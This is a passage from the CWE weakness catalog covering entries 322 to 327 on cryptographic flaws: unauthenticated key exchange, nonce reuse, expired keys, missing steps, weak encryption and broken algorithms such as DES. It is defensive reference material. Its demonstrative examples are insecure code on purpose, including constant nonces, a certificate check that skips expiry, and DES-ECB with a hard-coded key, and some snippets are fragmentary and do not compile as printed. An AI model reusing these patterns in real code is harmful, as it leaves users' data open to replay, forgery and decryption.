MemberOf	C	1214	Data Integrity Issues	2270
MemberOf	C	320	Key Management Errors	2112
MemberOf	C	417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>No authentication takes place in this process, bypassing an assumed protection of encryption.</i>	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	<i>The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

#### Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

### Demonstrative Examples

#### Example 1:

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path. Many people using SSL/TLS skip the authentication (often unknowingly).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Key exchange without entity authentication

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-323: Reusing a Nonce, Key Pair in Encryption

**Weakness ID** : 323

**Structure** : Simple

**Abstraction** : Variant

### Description

Nonces should be used for the present occasion and only once.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	344	Use of Invariant Value in Dynamically Changing Context	804

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	320	Key Management Errors	2112

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.</i>	

### Potential Mitigations

#### Phase: Implementation

Refuse to reuse nonce values.

#### Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

### Demonstrative Examples

#### Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

*Example Language: C*

*(Bad)*

```
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
```

```
char *paragraph = (char*)malloc(para_size);
SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

### Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

Example Language: C++

(Bad)

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reusing a nonce, key pair in encryption

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-324: Use of a Key Past its Expiration Date

**Weakness ID** : 324

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

### Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386
PeerOf		298	Improper Validation of Certificate Expiration	688
PeerOf		262	Not Using Password Aging	600

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107
MemberOf		310	Cryptographic Issues	2111
MemberOf		320	Key Management Errors	2112

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

## Demonstrative Examples

### Example 1:

The following code attempts to verify that a certificate is valid.

*Example Language: C*

*(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
```



```

if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
    //do stuff
}

```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a key past its expiration date

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-325: Missing Cryptographic Step

**Weakness ID** : 325

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
PeerOf		358	Improperly Implemented Security Check for Standard	834

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	2111

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Confidentiality Integrity	Read Application Data Modify Application Data	
Accountability Non-Repudiation	Hide Activities	

## Observed Examples

Reference	Description
<b>CVE-2001-1585</b>	Missing challenge-response step allows authentication bypass using public key. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1585">https://www.cve.org/CVERecord?id=CVE-2001-1585</a>

## Functional Areas

- Cryptography

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	2126
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	2126
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	2191
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2266
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Relationship

Overlaps incomplete/missing security check.

### Relationship

Can be resultant.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Required Cryptographic Step
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
68	Subvert Code-signing Facilities

## CWE-326: Inadequate Encryption Strength

**Weakness ID** : 326  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

### Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	ⓑ	328	Use of Weak Hash	765

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	Ⓒ	1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Confidentiality	Read Application Data	
	<i>An attacker may be able to decrypt the data using brute force attacks.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.

### Observed Examples

Reference	Description
<b>CVE-2001-1546</b>	Weak encryption <a href="https://www.cve.org/CVERecord?id=CVE-2001-1546">https://www.cve.org/CVERecord?id=CVE-2001-1546</a>
<b>CVE-2004-2172</b>	Weak encryption (chosen plaintext attack) <a href="https://www.cve.org/CVERecord?id=CVE-2004-2172">https://www.cve.org/CVERecord?id=CVE-2004-2172</a>
<b>CVE-2002-1682</b>	Weak encryption

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-1682">https://www.cve.org/CVERecord?id=CVE-2002-1682</a>
<b>CVE-2002-1697</b>	Weak encryption produces same ciphertext from the same plaintext blocks. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1697">https://www.cve.org/CVERecord?id=CVE-2002-1697</a>
<b>CVE-2002-1739</b>	Weak encryption <a href="https://www.cve.org/CVERecord?id=CVE-2002-1739">https://www.cve.org/CVERecord?id=CVE-2002-1739</a>
<b>CVE-2005-2281</b>	Weak encryption scheme <a href="https://www.cve.org/CVERecord?id=CVE-2005-2281">https://www.cve.org/CVERecord?id=CVE-2005-2281</a>
<b>CVE-2002-1872</b>	Weak encryption (XOR) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1872">https://www.cve.org/CVERecord?id=CVE-2002-1872</a>
<b>CVE-2002-1910</b>	Weak encryption (reversible algorithm). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1910">https://www.cve.org/CVERecord?id=CVE-2002-1910</a>
<b>CVE-2002-1946</b>	Weak encryption (one-to-one mapping). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1946">https://www.cve.org/CVERecord?id=CVE-2002-1946</a>
<b>CVE-2002-1975</b>	Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1975">https://www.cve.org/CVERecord?id=CVE-2002-1975</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	2126
MemberOf	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	2126
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2152
MemberOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	<b>C</b>	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Weak Encryption
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
20	Encryption Brute Forcing
112	Brute Force
192	Protocol Analysis

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-327: Use of a Broken or Risky Cryptographic Algorithm

**Weakness ID** : 327

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses a broken or risky cryptographic algorithm or protocol.

### Extended Description

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.

It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	B	328	Use of Weak Hash	765
ParentOf	V	780	Use of RSA Algorithm without OAEP	1531
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	1688

Nature	Type	ID	Name	Page
ParentOf	B	1240	Use of a Cryptographic Primitive with a Risky Implementation	1869
PeerOf	C	311	Missing Encryption of Sensitive Data	718
PeerOf	B	301	Reflection Attack in an Authentication Protocol	695
CanFollow	B	208	Observable Timing Discrepancy	508

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	1688

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</i>	
Integrity	Modify Application Data <i>The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</i>	
Accountability Non-Repudiation	Hide Activities <i>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</i>	

### Detection Methods

#### Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

*Effectiveness = Moderate*

*False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.*

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

#### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool Cost effective for partial coverage: Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**



*Strategy = Libraries or Frameworks*

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification [REF-1192]. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

**Phase: Architecture and Design**

Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.

*Effectiveness = Defense in Depth*

**Phase: Architecture and Design**

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

**Phase: Implementation****Phase: Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Demonstrative Examples****Example 1:**

These code examples use the Data Encryption Standard (DES).

*Example Language: C*

*(Bad)*

```
EVP_des_ecb();
```

*Example Language: Java*

*(Bad)*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

*Example Language: PHP*

*(Bad)*

```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
```

```

$key = "This is a password encryption key";
$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
return $encryptedPassword;
}

```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

### Example 2:

Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.

*Example Language: Other*

*(Bad)*

The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.

However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of \$110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.

This issue could have been avoided with better design.

*Example Language: Other*

*(Good)*

The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.

### Example 3:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak cryptography.

## Observed Examples

Reference	Description
<b>CVE-2022-30273</b>	SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity <a href="https://www.cve.org/CVERecord?id=CVE-2022-30273">https://www.cve.org/CVERecord?id=CVE-2022-30273</a>
<b>CVE-2022-30320</b>	Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30320">https://www.cve.org/CVERecord?id=CVE-2022-30320</a>
<b>CVE-2008-3775</b>	Product uses "ROT-25" to obfuscate the password in the registry. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3775">https://www.cve.org/CVERecord?id=CVE-2008-3775</a>
<b>CVE-2007-4150</b>	product only uses "XOR" to obfuscate sensitive data <a href="https://www.cve.org/CVERecord?id=CVE-2007-4150">https://www.cve.org/CVERecord?id=CVE-2007-4150</a>
<b>CVE-2007-5460</b>	product only uses "XOR" and a fixed key to obfuscate sensitive data <a href="https://www.cve.org/CVERecord?id=CVE-2007-5460">https://www.cve.org/CVERecord?id=CVE-2007-5460</a>

Reference	Description
<b>CVE-2005-4860</b>	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4860">https://www.cve.org/CVERecord?id=CVE-2005-4860</a>
<b>CVE-2002-2058</b>	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2058">https://www.cve.org/CVERecord?id=CVE-2002-2058</a>
<b>CVE-2008-3188</b>	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3188">https://www.cve.org/CVERecord?id=CVE-2008-3188</a>
<b>CVE-2005-2946</b>	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2946">https://www.cve.org/CVERecord?id=CVE-2005-2946</a>
<b>CVE-2007-6013</b>	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6013">https://www.cve.org/CVERecord?id=CVE-2007-6013</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	<b>C</b>	753	2009 Top 25 - Porous Defenses	750	2146
MemberOf	<b>C</b>	803	2010 Top 25 - Porous Defenses	800	2148
MemberOf	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2152
MemberOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	<b>C</b>	958	SFP Secondary Cluster: Broken Cryptography	888	2191
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	<b>C</b>	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	<b>C</b>	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	<b>C</b>	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
MemberOf	<b>C</b>	1366	ICS Communications: Frail Security in Protocols	1358	2295

### Notes

#### Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

## Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	MSC32-C	CWE More Abstract	Properly seed pseudorandom number generators
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers
OMG ASCSM	ASCSM-CWE-327		
ISA/IEC 62443	Part 3-3		Req SR 4.3
ISA/IEC 62443	Part 4-2		Req CR 4.3

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
20	Encryption Brute Forcing
97	Cryptanalysis
459	Creating a Rogue Certification Authority Certificate
473	Signature Spoof
475	Signature Spoofing by Improper Validation
608	Cryptanalysis of Cellular Encryption
614	Rooting SIM Cards

## References

